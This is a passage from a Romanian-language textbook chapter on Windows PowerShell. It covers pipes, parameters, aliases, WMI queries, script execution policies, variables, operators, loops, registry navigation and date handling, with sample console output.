PowerShell permite nlnuirea mai multor comenzi prin folosirea operatorului pipe (|) cu acelai efect ca i n UNIX: redirectarea ieirii unei comenzi spre intrarea alteia. Datorit modului n care anumite comenzi accept date sau din considerente ale formatului dorit la ieire, deseori sunt necesare prelucrari la nivel de iruri de caractere ntre dou comenzi ce prelucreaz date sau nainte de afiarea rezultatului final. n mod practic, ieirile i intrrile comenzilor sunt tratate ca obiecte, astfel c o comand ce primete ca intrare rezultatul alteia poate aciona direct asupra proprietilor i metodelor sale fr conversii suplimentare. De asemenea, utilizatorul poate adresa proprieti i metode direct dup nume, nefiind necesar filtrarea rezultatului pentru selectarea datelor dorite, ca n cazul UNIX-ului i a utilitarelor sed, awk, grep, cut, amd. n exemplul urmtor, rezultatul unei comenzi ipconfig este trimis comenzii findstr care primete ca parametru irul de caractere de cutat. Rezultatul este identic cu al utilitarului grep din UNIX, folosit n condiii similare:
PS C:\Users\Administrator> Link-local IPv6 Address IPv4 Address. . . . . . Link-local IPv6 Address IPv4 Address. . . . . . Link-local IPv6 Address IPv4 Address. . . . . . IPv6 Address. . . . . . ipconfig | findstr "Address" . . . . . : fe80::a928:ea78:f920:ac15%10 . . . . . : 141.85.37.193 . . . . . : fe80::9dd5:cc72:ab31:8927%12 . . . . . : 192.168.13.1 . . . . . : fe80::525:fc37:994d:636f%14 . . . . . : 192.168.216.1 . . . . . : 2002:8d55:25c1::8d55:25c1

0-5: Folosirea operatorului "|" pentru filtrarea rezultatului unei comenzi

19 | C u p r i n s

0.3.2.9 Folosirea parametrilor


Parametrii in PowerShell sunt identificai prin caracterul -. Caracterele (/ sau \) ce marcau parametrii n cmd.exe nu mai sunt folosite. La tastarea unui parametru se poate introduce numele complet, dar este acceptat i dac se introduce un numr suficient de caractere pentru a distinge parametrul de altele cu nume asemntoare. n exemplul urmtor, cele dou comenzi sunt identice, irul det fiind suficient pentru a-l distinge de parametrul Debug:
Get-Help Get-Date Detailed Get-Help Get-Date det

n unele cazuri, introducerea numelor parametrilor este opional, fiind suficient introducerea valorii lor. Spre exemplul, forma complet a comenzii Get-Help presupune declararea numelui comenzii precedat de parametrul Name, ca n exemplul de mai jos. Totui, parametrii pot fi folosii fr a li se specifica numele dac se respect cu strictee ordinea lor din seciunea de sintax a paginii de ajutor:
Get-Help Name Get-Host

0.3.2.10

Interaciunea cu Windows PowerShell

n general, comenzile PowerShell nu sunt case-sensitive. Totui, pentru situaiile n care se specific valori literale, ca n cazul n care se d ca parametru un ir de caractere de cutat, capitalizarea corect poate avea importan. Pentru a facilita interaciunea, PowerShell ofer opiunea de completare automat contextual. Aceasta poate fi folosit prin apsarea tastei Tab att pentru numele comenzilor ct i pentru parametrii lor, din momentul n care s-a introdus cel puin un caracter din termenul de completat. Completarea automat realizeaz automat capitalizarea corect a comenzilor. Odat ce PowerShell a fost lansat, poate fi folosit n aceeai manier ca i interpretorul cmd.exe. De exemplu, comanda dir listeaz coninutul unui director, cd schimb directorul curent i pot fi folosite comenzi precum copy, move, del, amd. Aa cum s-a mai menionat i n seciunea 0.3.2.6: Comenzi de ajutor n PowerShell, listarea comenzilor ncorporate n PowerShell se poate face prin comanda Get-Command. Totui, PowerShell accept o serie mult extins de comenzi prin faptul c implementeaz o multitudine de alias-uri de comenzi care nlocuiesc una sau mai multe comenzi nlnuite, din considerente de uzabilitate, eficien n compunerea comenzilor sau pentru a pstra similariti cu DOS i UNIX. Lista complet a acestor comenzi poate fi obinut prin comanda help sau, indirect, prin comanda Get-Help * care are drept efect listarea tuturor fiierelor de ajutor pentru comenzile corespunztoare1. Aceasta asigur, intuitiv, faptul c toate comenzile, att ncorporate ct i aliasurile sunt documentate. Cteva dintre comenzile UNIX ce sunt implementate n PowerShell ca aliasuri includ: diff, ps, ls, pwd, cat, etc. Spre exemplu, aliasul ps are acelai efect ca i comanda Get-Process, ca n exemplul urmtor:
PS C:\> ps Handles ------243 127 NPM(K) -----12 14 PM(K) ----247672 1796 WS(K) VM(M) ----- ----257788 368 2004 39 CPU(s) -----435.57 0.22 Id -7344 2544 ProcessName ----------AcroRd32 alg

Un fapt interesant de remarcat este c la utilizarea comenzii help, rezultatul este afiat n stilul utilitarului more, din UNIX: tasta Enter pentru linia urmtoare sau Space pentru ecranul urmtor.

20 | R e e l e L o c a l e
65 109 133 154 47 187 [...] 3 3 4 6 2 10 2172 1216 1956 24324 1120 8288 796 968 3460 16160 472 7732 38 36 51 71 49 102 0.12 0.14 79.33 0.11 33.62 2008 988 1952 1572 3452 1828 AppleMobileDeviceService Ati2evxx Ati2evxx audiodg brs BTStackServer

PS C:\> Get-Proces Handles ------243 127 65 109 133 154 47 187 [...] NPM(K) -----12 14 3 3 4 6 2 10 PM(K) ----247672 1796 2172 1216 1956 24324 1120 8288 WS(K) VM(M) ----- ----257788 368 2004 39 796 38 968 36 3460 51 16160 71 472 49 7732 102 CPU(s) -----435.57 0.22 0.12 0.14 79.33 0.11 33.62 Id -7344 2544 2008 988 1952 1572 3452 1828 ProcessName ----------AcroRd32 alg AppleMobileDeviceService Ati2evxx Ati2evxx audiodg brs BTStackServer

0-6: ps (alias) i Get-Process (comand) Pentru a demonstra c rezultatul aliasului este, de asemenea, de tip obiect, folosind informaiile din acesta, se pot ordona procesele dup numr i exporta lista ntr-un fiier n format HTML1:
PS C:\> ps | Sort-Object id | ConvertTo-Html > procese.html PS C:\> ls procese.html Directory: Microsoft.PowerShell.Core\FileSystem::C:\ Mode ----a--LastWriteTime ------------8/1/2008 4:04 PM Length Name ------ ---198444 procese.html

PowerShell ofer comenzi i pentru interaciunea cu WMI (Windows Management Instrumentation). Comanda de baz folosit pentru a obine obiecte prin WMI este GetWmiObject, cu alias-ul gwmi). Spre exemplu, obinerea de informaii despre BIOS-ul sistemului se poate face facil prin comenzile Get-WmiObject -Class Win32_BIOS sau GetWmiObject -Class Win32_ComputerSystem.
PS C:\> Get-WmiObject -Class Win32_BIOS SMBIOSBIOSVersion Manufacturer Name SerialNumber Version : : : : : A14 Dell Inc. Phoenix ROM BIOS PLUS Version 1.10 A14 3YN0W2J DELL - 27d70402

PS C:\> Get-WmiObject -Class Win32_ComputerSystem Domain Manufacturer Model Name PrimaryOwnerName TotalPhysicalMemory : : : : : : WORKGROUP Dell Inc. MM061 WIN-8J4PG74KHA9 Windows User 2145083392

De asemenea, WMI poate fi folosit i pentru interaciunea cu procese sau servicii. Listarea lor se face prin comenzile: Get-WmiObject win32_process, respectiv Get-WmiObject win_32_service. Atenie, aceste comenzi au rezultate extrem de voluminoase, din moment ce afieaz toate informaiile ce pot fi extrase din obiectele de tip proces, respectiv serviciu. O soluie pentru reducerea cantitii de informaii afiate o reprezint fie aplicarea unui filtru, fie
Se observ apoi, la vizualizarea paginii HTML obinute, c n aceasta au fost incluse sub forma capetelor de tabel toate datele despre procese ce sunt returnate de comanda ps / Get-Process, mai exact, 62 de parametrii specifici fiecrui proces, n comparaie cu cei 8 care sunt afiai implicit n consol, ceea ce confirm nc o dat natura de obiect a rezultatelor comenzilor PowerShell.
1

21 | C u p r i n s

specificarea doar a anumitor cmpuri ce vor fi afate, mpreun cu valorile lor. n urmtorul exemplu sunt interogate doar anumite proprieti ale obiectului ce ncapsuleaz informaii despre sistemul de operare curent, obinut prin WMI:
PS C:\> Get-WMIObject -class Win32_OperatingSystem -property csname, Caption, Version, TotalVirtualMemorySize, FreeVirtualMemory __GENUS __CLASS [...] __RELPATH [...] Caption CSName FreeVirtualMemory TotalVirtualMemorySize Version : 2 : Win32_OperatingSystem : Win32_OperatingSystem=@ : : : : : Microsoft Windows Server 2008 Standard WIN-8J4PG74KHA9 2602080 4471252 6.0.6001

0-7: Selectarea explicit a anumitor cmpuri ale unui obiect returnat n mod evident, interaciunea cu procese i servicii prin PowerShell i WMI nu se reduce doar la afiarea de informaii. n exemplul urmtor se demonstreaz modul n care un serviciu poate fi pornit, mpreun cu verificarea strii acestuia nainte i dup pornire:
1. Se caut un serviciu cu numele asemntor cu ipod:
PS C:\> Get-Service ipod* Status -----Running Name ---iPod Service DisplayName ----------iPod Service

2. Dup identificarea sa, i se interogheaz starea curent:


PS C:\> Get-WmiObject win32_service -filter "name='ipod service'" ExitCode Name ProcessId StartMode State Status : : : : : : 1077 iPod Service 0 Manual Stopped OK

3. Se observ c serviciul este oprit. Se folosete metoda StartService() din obiectul de tip serviciu returnat prin WMI pentru a-l porni:
PS C:\> (Get-WmiObject win32_service -filter "name='ipod service'").StartService() __GENUS __CLASS __SUPERCLASS __DYNASTY __RELPATH __PROPERTY_COUNT __DERIVATION __SERVER __NAMESPACE __PATH ReturnValue : : : : : : : : : : : 2 __PARAMETERS __PARAMETERS 1 {}

4. Se verific din nou starea serviciului i se observ c acesta ruleaz fr probleme:


PS C:\> Get-WmiObject win32_service -filter "name='ipod service'" ExitCode Name ProcessId StartMode State Status : : : : : : 0 iPod Service 904 Manual Running OK

Urmtorul exemplu se ncadreaz ntr-o categorie de utilizare mai exotic a comenzilor ce se folosesc de WMI pentru a obine informaii. Folosind parametrul query, se poate

22 | R e e l e L o c a l e

specifica sursa din care se extrag datele, cmpurile de interes precum i ce filtre se vor aplica acestora, ntr-un printr-o sintax SQL:
PS C:\> get-wmiobject -query "select * from win32_service where name='dhcp'" ExitCode Name ProcessId StartMode State Status : : : : : : 0 Dhcp 1008 Auto Running OK

0-8: Obinerea strii unui serviciu folosind PowerShell i WMI, printr-o comand SQL Exist, bineneles, o multitudine de alte moduri n care PowerShell poate fi folosit, scurtturi i excepii n utilizare, dar detalierea acestora ar putea crea subiectul unei cri de sine stttoare, aadar acestea vor fi excluse dintre subiectele tratate n paginile de fa. Totui, pentru a putea aplica PowerShell n utilizarea diverselor servicii ce vor fi detaliate n capitolele urmtoare, e necesar aprofundarea la un nivel mediu a tehnicilor de scripting n PowerShell.

0.3.2.11

Scripting n PowerShell

n mod normal, e de ateptat ca orice interpretor de comenzi s suporte, nativ sau nu, posibilitatea de a rula scripturi. Posibilitatea de scripting a existat i n trecut, prin intermediul lui cmd.exe, dar capabilitile lui PowerShell se ridic mult deasupra acestora. Totodat, prin scripting se observ mult mai clar interdependena dintre PowerShell i platforma .NET, folosindu-se convenii de denumire i o sintax mult asemntoarelor limbajelor bazate pe .NET, precum C#.

0.3.2.11.1

Concepte de securitate n scripting

Posibilitatea de a automatiza i drepturile pe care le au n general scripturile de a interaciona cu sistemul au creat dintotdeauna numeroase dificulti i au dat natere unui mediu propice pentru apariia viruilor, viermilor i a aplicaiilor spyware. Cteva considerente de securitate au fost implementate implicit n PowerShell tocmai pentru a adresa limitrile impuse de aceste riscuri:
Scripturile PowerShell nu sunt inerent executabile. n Windows, aceasta nseamn c nu exist o asociere implicit ntre PowerShell i scripturile sale care au extensia .ps1. Un dublu-clic pe acest tip de fiier nu va cauza execuia sa, ci va fi deschis cu Notepad pentru a i se vizualiza coninutul. Singurele scripturi acceptate spre a fi rulate sunt cele semnate i autorizate prin colecia de certificate a sistemului. Pentru scripturile asupra crora exist dreptul de execuie, aceasta poate fi iniiat doar dac se specific ntreaga cale a scriptului, pentru a evita instalarea de scripturi cu nume de comenzi uzuale n anumite directoare (un echivalent al rootkit1-urilor de pe Linux).

Evident, aceste msuri nu sunt suficiente dar ofer un grad sporit de evitare a procedurilor ce ar putea cauza daune sistemului. Drepturile care stabilesc regulile dup care scripturile sunt sau nu executate sunt dictate de politica de execuie activ n sistem. Pentru a vedea care este aceasta, se folosete comanda urmtoare:
PS C:\> Get-ExecutionPolicy Restricted

http://en.wikipedia.org/wiki/Rootkit i http://www.rootkit.com

23 | C u p r i n s n exemplul de mai sus, politica activ este cea de Restricted, care este i cea implicit. Valorile posibile pe care politica de execuie a sistemului le poate avea sunt: Restricted: implicit, nu accept execuia niciunui script AllSigned: sunt acceptate spre execuie doar scripturile semnate RemoteSigned: este permis execuia scripturilor locale; restul trebuie semnate Unrestricted: toate scripturile pot fi executate

Politica minim necesar pentru a putea rula local scripturi nesemnate este RemoteSigned. Modificarea politicii curente de execuie n RemoteSigned se face cu urmtoarea comand:
PS C:\> Get-ExecutionPolicy Restricted PS C:\> Set-ExecutionPolicy RemoteSigned PS C:\> Get-ExecutionPolicy RemoteSigned

0.3.2.11.2

Exemplu: crearea primului script n PowerShell

Pentru a crea un script PowerShell, se creeaz un fiier text cu Notepad sau orice editor de text i i se seteaz extensia ps1. Setarea unei alte extensii va avea ca efect, la rularea sa, tentativa de a fi tratat de ctre Windows cu o aplicaie implicit ce accept extensia respectiv i nu va fi executat de ctre PowerShell.
1. Se creeaz un fiier text cu urmtorul coninut:
$a = "Hello" $b = "World!" write-host $a echo $b

2. Se salveaz cu extensia ps1. Pentru exemplu se va considera c se salveaz ca C:\test.ps1. 3. n PowerShell, se introduce urmtoarea comand i se primete rezultatul1:
PS C:\> PowerShell c:\test.ps1 Hello World!

0.3.2.11.3

Variabile

Conceptul de variabil se ntlnete n aproape orice limbaj de programare sau de scripting. n esen, reprezint o zon de memorie adresabil printr-un nume dat de programator care poate s stocheze date ce vor fi folosite la un moment ulterior. n PowerShell pot fi definite variabile, dar numele acestora trebuie s nceapa cu semnul dolar ($). Numele variabilelor pot conine caractere alfanumerice (litere i cifre) i alte cteva simboluri. Se pot introduce chiar i spaii n numele variabilelor, cu condiia ca numele s fie cuprinse ntre paranteze acolade {}. Urmtoarele exemple reprezint initializri valide de variabile:
$name = "Nicoleta" $pi = 3.14 ${variabila cu spatii} = "atentie la paranteze!"

Atribuirea variabilelor cu o valoare se putea face i n trecut, prin intermediul lui cmd.exe i al comenzii SET, cu diferena c acesta din urm nu suporta denumirea variabilelor folosind spaii. Dup cum se observ, nu s-a specificat nicieri tipul datelor ce sunt stocate n variabile. Acest lucru poate crea uneori probleme n scripturi complexe, de aceea PowerShell ofer i posibilitatea de a defini variabile cu tip. Cu alte cuvinte, PowerShell poate fi informat despre
1

echo este un alias pentru comanda Write-Output.

24 | R e e l e L o c a l e

tipul datelor ce vor fi reinute n variabila respectiv, ceea ce reprezint i o practic recomandat. Fie, spre exemplu, codul urmtor:
$a = 5 write-host $a + 3

n secvena anterioar s-a atribuit valoarea 5 variabilei $a, dup care s-a afiat n consol rezultatul expresiei $a + 3. Dup cum e de ateptat, se va afia 8. Dar dac se ia n considerare exemplul urmtor:
$a = 7 $s = "un sir de caractere" cod nesemnificativ $a = "Nicoleta" n continuare, cod nesemnificativ write-host ($a + 7)

Codul de mai sus definete variabila $a cu valoarea 7 i variabila $s cu irul de caractere Nicoleta. Presupunnd c atribuirea s-a fcut n mod eronat ntre variabila $a i irul Nicoleta, rezultatul afiat n urma expresiei de pe ultima linie va consta n concatenarea celor dou elemente ca iruri de caractere, rezultnd Nicoleta7. Aceast problem poate fi uor evitat prin stabilirea tipurilor de date stocate n fiecare variabil, mpiedicnd operaia de atribuire dintre o variabil definit ca ntreg (integer) i un ir de caractere (string), ca n exemplul urmtor, rescris:
[int]$a = 7 [string]$s = "un sir de caractere" cod nesemnificativ $a = "Nicoleta" n continuare, cod nesemnificativ write-host ($a + 7)

Stabilirea tipurilor variabilelor se face prefixndu-le numele cu un identificator ce descrie un tip de date, n exemplul de mai sus, [int] i [string]. Rularea exemplului de mai sus va cauza o eroare, ce va anuna faptul c membrul drept al atribuirii $a = Nicoleta nu se afl n formatul corespunztor. Cele mai comune tipuri de variabile utilizabile n PowerShell sunt urmtoarele1:

[boolean] Adevrat sau fals. [int] Numere ntregi pe 32 de bii. [char] Un singur caracter. [string] ir de caractere. [single] Numr zecimal, simpl precizie. [double] Numr zecimal, dubl precizie. [datetime] Data, ora. 2 [adsi] Obiect de tip Active Directory Service Interface (ASDI) [wmi] Instan sau colecie WMI [wmiclass] Clas WMI

Vectorii n PowerShell se definesc extrem de uor, ca n exemplul de cod urmtor:


$PS C:\> $vec = 4,8,15,16 PS C:\> Write-Host $vec 4 8 15 16

Pentru referirea la elementele unui vector, se folosete adresarea indexat, innd cont c indecii elementelor dintr-un vector ncep de la 0 (zero), ca n majoritatea limbajelor de programare i scripting: $vec[4], $vec[0], etc.
1

Exist i variabila predefinit $NULL. Orice variabil neiniializat (neutilizat) are coninutul egal cu Mai multe despre ASDI: http://msdn.microsoft.com/en-us/library/aa772170.aspx

$NULL.
2

25 | C u p r i n s

Adugarea de noi elemente ntr-un vector se face tot prin intermediul operatorului +1:
PS C:\> $vec = $vec + 23, 48 PS C:\> Write-Host $vec 4 8 15 16 23 48

0.3.2.11.4

Expresii condiionale

Ca n orice limbaj de programare sau de scripting, flexibilitatea sa st n posibilitatea de a decide ramurile ce vor fi executate n funcie de valorilor anumitor variabile. n fond, condiia este ceea ce st la baza scripturilor i le difereniaz de o simpl nlnuire inalterabil de comenzi care se execut ntotdeauna n aceeai ordine. Exemplul urmtor ar trebui s poat fi deja urmrit fr prea multe explicaii suplimentare:
$a = 2 if ($a -eq 1) { write-host "unu" } elseif ($a -eq 2) { write-host "doi" } else { write-host "diferit de unu sau doi" }

Fragmentul de script de mai sus verific valoarea atribuit variabilei $a. Dac aceasta este 1 (numeric) va afia unu, daca este 2 va afia doi i pentru orice alt valoarea (inclusiv valori non-numerice i alte tipuri) va afia diferit de unu sau doi2. Dup cum se observ, singurul element relativ nou introdus este operatorul de egalitate folosit n interiorul if-ului: eq. Exist o serie de ali operatori de comparaie ce pot fi folosii n PowerShell, fiecare dintre acetia fiind descrii printr-o cratim (-) urmat de o abreviere de dou litere a funciei numerice pe care acesta o ndeplinete precum i alte forme pentru diferite tipuri de date. Lista este urmtoarea:

-eq Egalitate -ne Inegalitate -lt Mai mic -le Mai mic sau egal -gt Mai mare -ge Mai mare sau egal -contains Determin apartenena la un grup, retuneaz ntotdeauna [boolean]True sau [boolean]False -notcontains Determin neapartenena la un grup, retuneaz ntotdeauna [boolean]$True sau [boolean]$False -match Consisten la compararea prin expresii regulate -notmatch Inconsisten la compararea prin expresii regulate -like Consisten la compararea cu wildcard-uri -notlike Inconsisten la compararea cu wildcard-uri -band I binar -bor SAU binar -bnot negaie binar -is Este de tipul (ex: $x is [int]) -isnot Nu este de tipul (ex: $x isnot [single])
1 2

n general, expresiile de tipul $x = $x + y pot fi nlocuite prin expresia $x += y, ca i n limbajul C. Paranteze acolade sunt obligatorii n toate situaiile, chiar dac ncadreaz o singur instruciune.

26 | R e e l e L o c a l e

n plus, PowerShell implementeaz variantele case sensitive ale unor comenzi prezentate mai sus (-clt, -cgt, -cle, -cge, -ceq, -cne, -clike, -cnotlike, -ccontains, cnotcontains, -cmatch, -cnotmatch), precum i o serie de operatori speciali, pe lng cei clasici, ca +, -, /, %, *, !:

-replace nlocuire (ex: abcde replace b, B) -ireplace nlocuire case-insensitive -as Convertire la alt tip (ex: 123 as [string] trateaz 123 ca ir de caractere) .. Operator de interval (ex: foreach ($i in 1..10) {$i} afieaz numerele de la 1 la

10) & Operator de apel (ex: $a = Get-ChildItem &$a va executa Get-ChildItem) -F Operator de formatare (ex: foreach($p in Get-Process) {"{0,-15} has {1,6} handles" F $p.processname,$p.Handlecount} are ca efect afiarea liste de procese n formatul <nume_proces> has <x> handles)

n PowerShell se poate folosi i o construcie de tipul switch-case, cu o sintax mai simpl dect n C:
$culoare = "rosu" switch ($culoare) { rosu {write-host "culoarea rosie"; break} verde {write-host "culoarea verde"; break} albastru {write-host "culoarea albastra"; break} galben {write-host "culoarea galbena"; break} }

0.3.2.11.5

Instruciuni de ciclare

n PowerShell exist 4 moduri n care se pot defini ciclurile (repetiiile): for, foreach, while i do..while. Ciclul for are exact aceeai sintax ca i n limbajul C, spre exemplu:
for(<iniializri>;<condiie>;<repetare>) { <instruciuni> }

Urmtorul cod afieaz numerele de la 1 la 100:


for($i=1;$i -lt 101;$i++) { write-host $i }

Ca i n C, seciunea de <iniializri> se execut doar o dat, la prima iteraie, seciunea de <condiie> este verificat dup fiecare iteraie, iar seciunea de <repetare> este executat la finalul fiecrei iteraii. Se observ posibilitatea utilizrii operatorului ++. Spre deosebire de instructiunea for, instruciunea foreach este conceput astfel nct primind o colecie de obiecte, va executa o seciune de cod pentru (for) fiecare (each) dintre elementele din colecie (de unde i numele). Sintaxa general este urmtoarea:
foreach ($<element> in $<colecie_de_elemente>) { <instruciuni> }

Urmtorul exemplu folosete instruciunea foreach pentru a afia numele tuturor fiierelor din directorul C:\Windows\System32:
foreach ($file in Get-ChildItem C:\Windows\System32) { write-host $file }

27 | C u p r i n s

Din nou similar cu C, sintaxa unei construcii de tip While este urmtoarea:
while(<condiie>) { <instruciuni> }

Sintaxa lui Do..While este, de asemenea, similar cu C, cu excepia semnului punct i virgul de dup While, care n PowerShell lipsete1:
do { write-host $a $a++ } while ($a -lt 10)

De asemenea, n construciile de tip repetiie pot fi folosite i instruciunile break i


continue, cu efectele binecunoscute.

0.3.2.12

Aplicaii PowerShell

Dup enumerarea unei bune pri a capabilitilor de scripting ale lui PowerShell, pot fi analizate o serie de exemple de utilizare mai complexe, folosind structurile studiate mai sus. Fie urmtoarea secven de script:
Get-Service | ForEach {if ($_.Status -eq "Running") {write-host $_.DisplayName}}

Secvena de mai sus returneaz numele ntreg (nu al executabilului, ci descrierea) al tuturor serviciilor ce ruleaz n sistem. O serie de construcii noi prezentate aici necesit explicare. n primul rnd, Get-Service returneaz lista obiectelor serviciilor din sistem. Rezultatul obinut din acesta este trimis ca intrare prin operatorul pipe (|) ciclului foreach. Din moment ce Get-Service returneaz o colecie de obiecte de tip serviciu, acest tip de rezultat este perfect pentru se itera prin elementele sale folosind foreach. Folosind instruciunea if se verific dac starea fiecrui serviciu este Running i, n caz afirmativ, i se afieaz numele complet. n interiorul instruciunii if se remarc dou elemente noi: notaia $_ i . (punctul). Variabila $_ reprezint o variabil de sistem definit automat. n interiorul unui pipe, ea reine elementul curent din fluxul trecut prin acel pipe (elementul curent din pipeline). n exemplul de fa, la fiecare iteraie a repetiiei, $_ va referenia pe rnd fiecare obiect de tip serviciu din colecia returnat de Get-Service. Notaia . reprezint referirea la un membru al unui obiect (ca n Java sau n structurile C). Fiecare obiect are un set de proprieti; spre exemplu, un obiect de tip serviciu deine proprieti ca status, name i displayname, printre multe altele. Accesarea unei astfel de proprieti se face prin operatorul punct astfel: .<nume_proprietate>. La fel ca i $_, exist i alte variabile definite automat n sistem:

$_ Conine obiectul curent din pipe. $? Conine valoarea True dac ultima operaie s-a ncheiat cu succes i False altfel. $Home Directorul utilizatorului curent, echivalentul concatenrii variabilelor de mediu %homedrive% i %homepath% $LASTEXITCODE Codul de ieire al ultimei execuii $PsHome Directorul de instalare a PowerShell $Host Conine informaii despre mediul n care ruleaz consola curent

Fie exemplul urmtor:


n exemplul do..while nu este artat valoarea cu care este iniializat variabila $a. Implicit, valoarea acesteia este $NULL. Exist anumite optimizri pentru lucrul cu aceast valoare, ca spre exemplu $a++, n condiiile n care $a este $NULL, va returna valoarea 1, dar nu este recomandabil lucrul cu variabile neiniializate.
1

28 | R e e l e L o c a l e
Get-ChildItem D:\Logs\* -include *.txt | foreach {move-item $_ ($_ replace(".txt",".bak"))}

Codul de mai sus obine o list a tuturor fiierelor cu extensia .txt din directorul D:\Logs\ i o trimite unui ciclu foreach care itereaz pe fiecare element i ruleaz comanda move-item cu doi parametri: primul ramne numele fiierului primit din pipe iar al doilea reprezint tot numele fiierului curent, dar cu extensia .txt substituit n .bak. Cu alte cuvinte, comanda redenumete toate fiierele text din D:\Logs\ schimbndu-le extensia .txt n .bak.

0.3.2.13

PowerShell i Windows Registry

Modificarea configuraiei din Windows Registry poate fi deseori o sarcin a unui administrator. Deseori, pentru efectuarea de modificri n Registry se folosete utilitarul regedit.exe sau, n cazul scripturilor (non-PowerShell), se poate folosi i utilitarul n linie de comand reg.exe. Totui interaciunea cu Windows Registry se poate face facil i prin PowerShell deoarece acesta trateaz Registry-ul ca pe un sistem de fiiere (lucru intuitiv, innd cont ca are o organizare arborescent). Una dintre cele mai des accesate chei din Registry este cheia Run, care stocheaz cile spre executabilele ce sunt lansate automat la pornirea sistemului1. Pentru a naviga spre aceasta se execut comenzile:
PS C:\Users\Administrator> cd HKLM: PS HKLM:\> cd SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Dup cum se observ, Windows Registry este considerat ca fiind o unitate (un drive) separat, numit HKLM (Hive Key Local Machine). Registry-ul este mprit n mai multe zone logice, denumite hive-uri, ce poart denumirile din Windows API2 i prescurtri ca HKLM (...Local Machine), HKCU (...Current User), HKCR (...Classes Root), HKU (...Users), etc. Cu toate c Registry-ul este tratat ca un arbore, tentativa de a afia coninutul cheii Run printr-un simplu dir va returna doar rezultatul urmtor:
PS HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run> dir Hive: Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersio n\Run SKC --3 VC Name -- ---1 OptionalComponents Property -------{(default)}

Acest lucru se ntmpl deoarece doar cheile sunt considerate obiecte, valorile lor fiind tratate ca proprieti. Aadar, pentru obinerea valorii unei chei se poate folosi comanda GetItemProperty, eventual cu parametrul ., adic directorul curent, pentru a afia toate valorile cheilor din locaia curent:
PS HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run> Get-ItemProperty . [...] PSChildName PSDrive PSProvider IntelliPoint SigmatelSysTrayApp Windows Defender SynTPEnh vmware-tray : : : : : : : : Run HKLM Microsoft.PowerShell.Core\Registry "C:\Program Files\Microsoft IntelliPoint\ipoint.exe" sttray.exe C:\Program Files\Windows Defender\MSASCui.exe -hide C:\Program Files\Synaptics\SynTP\SynTPEnh.exe C:\Program Files\VMware\VMware Workstation\vmware-tray.exe

Este vorba despre cheia Run din HKEY_LOCAL_MACHINE. Excepia o reprezint cheia Run din HKEY_CURRENT_USER care specific executabilele ce vor fi rulate doar cnd utilizatorul se autentific n sistemul de operare. 2 http://msdn.microsoft.com

29 | C u p r i n s
VMware hqtray : googletalk : GrooveMonitor : Broadcom Wireless Manager UI : SunJavaUpdateSched : "C:\Program Files\VMware\VMware Workstation\hqtray.exe" C:\Program Files\Google\Google Talk\googletalk.exe /autostart "C:\Program Files\MicrosoftOffice\Office12\GrooveMonitor.exe" C:\Windows\system32\WLTRAY.exe "C:\Program Files\Java\jre1.6.0_06\bin\jusched.exe"

0-9: Rezultatul afirii cheii Run folosind PowerShell n exemplele anterioare s-a lucrat direct n interiorul hive-ului HKLM. Pentru a schimba locaia curent n unul dintre celelalte hive-uri, este necesar nti conectarea la PowerShell Registry Provider, un fel de rdcin a Registry-ului conceput special pentru PowerShell i denumit REGISTRY::, ca n exemplul urmtor:
PS HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run> cd registry:: PS Microsoft.PowerShell.Core\Registry::> ls Hive: SKC --7 14 373 2 0 6 VC -0 0 0 0 2 0 Name ---HKEY_LOCAL_MACHINE HKEY_CURRENT_USER HKEY_CLASSES_ROOT HKEY_CURRENT_CONFIG HKEY_PERFORMANCE_DATA HKEY_USERS Property -------{} {} {} {} {Global, Costly} {}

0-10: Hive-urile Registry-ului vzute prin intermediul PowerShell Registry Provider Un exemplu de utilizare al celorlaltor hive-uri este urmtoarea secven de cod care afieaz aplicaia asociat cu tratarea unei anumite extensii, n exemplul de mai jos, .mp3:
PS HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run> cd registry:: PS Microsoft.PowerShell.Core\Registry::> cd HKEY_CLASSES_ROOT\.mp3 PS Microsoft.PowerShell.Core\Registry::HKEY_CLASSES_ROOT\.mp3> Get-ItemProperty . [...] PerceivedType (default) Content Type Winamp_Back : : : : audio Winamp.File.MP3 audio/mpeg WMP11.AssocFile.MP3

0-11: Afiarea aplicaiei care trateaz o anumit extensie

0.3.2.14

Ora i data

Calcularea de intervale de timp, selecia fiierelor pe baza unui interval, ordonarea cronologic, precum i multe alte utilizri ale informaiilor legate de timp sunt deseori utile n scripturile folosite de administratorii de sistem. Principala comand PowerShell pentru aflarea timpului este Get-Date1:
PS C:\Users\Administrator> Get-Date Saturday, August 02, 2008 7:49:00 PM

Pentru a separa data i ora curent, se folosete parametrul DisplayHint lng care se poate specifica date sau time:
PS C:\Users\Administrator> Get-Date -DisplayHint date Saturday, August 02, 2008 PS C:\Users\Administrator> Get-Date -DisplayHint time 7:49:00 PM

De fapt, Get-Date returneaz deopotriv informaii legate de data i ora curent. Nu exist o comand Get-Time ci doar parametri suplimentari ai lui Get-Date.

30 | R e e l e L o c a l e

Exist i metoda IsDaylightSavingTime() care returneaz True sau False n funcie de prezen orei de var. Rezultatul asupra cruia se aplic metoda este cel al comenzii GetDate, care trebuie ncadrat ntre paranteze nainte de a i se accesa metodele:
PS C:\Users\Administrator> (Get-Date).IsDaylightSavingTime() True

O utilizare frecvent a datelor n scripting o reprezint adugarea unei astfel de informaii n numele fiierelor, meninndu-le astfel ordonate. Urmtoarea secven arat modul n care se pot obine noi nume pentru fiiere, concatennd data curent la numele lor:
$filename = "fisier" $datestring = Get-Date -uformat %Y%M%d $newfilename = $filename + "_" + $datestring + ".txt" Write-Host $newfilename

De remarcat faptul c, n linia de formatare a datei, parametrul uformat provine de la UNIX format. Pentru exemplul de mai sus, %Y reprezint un an din patru cifre, ca 2008, %M reprezint o lun din dou cifre, ca 08, iar %d o zi de dou cifre, ca 02. O list parial de modificatori acceptai la formatarea datei i a orei este urmtoarea:

C Impropriu denumit secol (century), de fapt extrage primele dou cifre ale anului (20 pentru

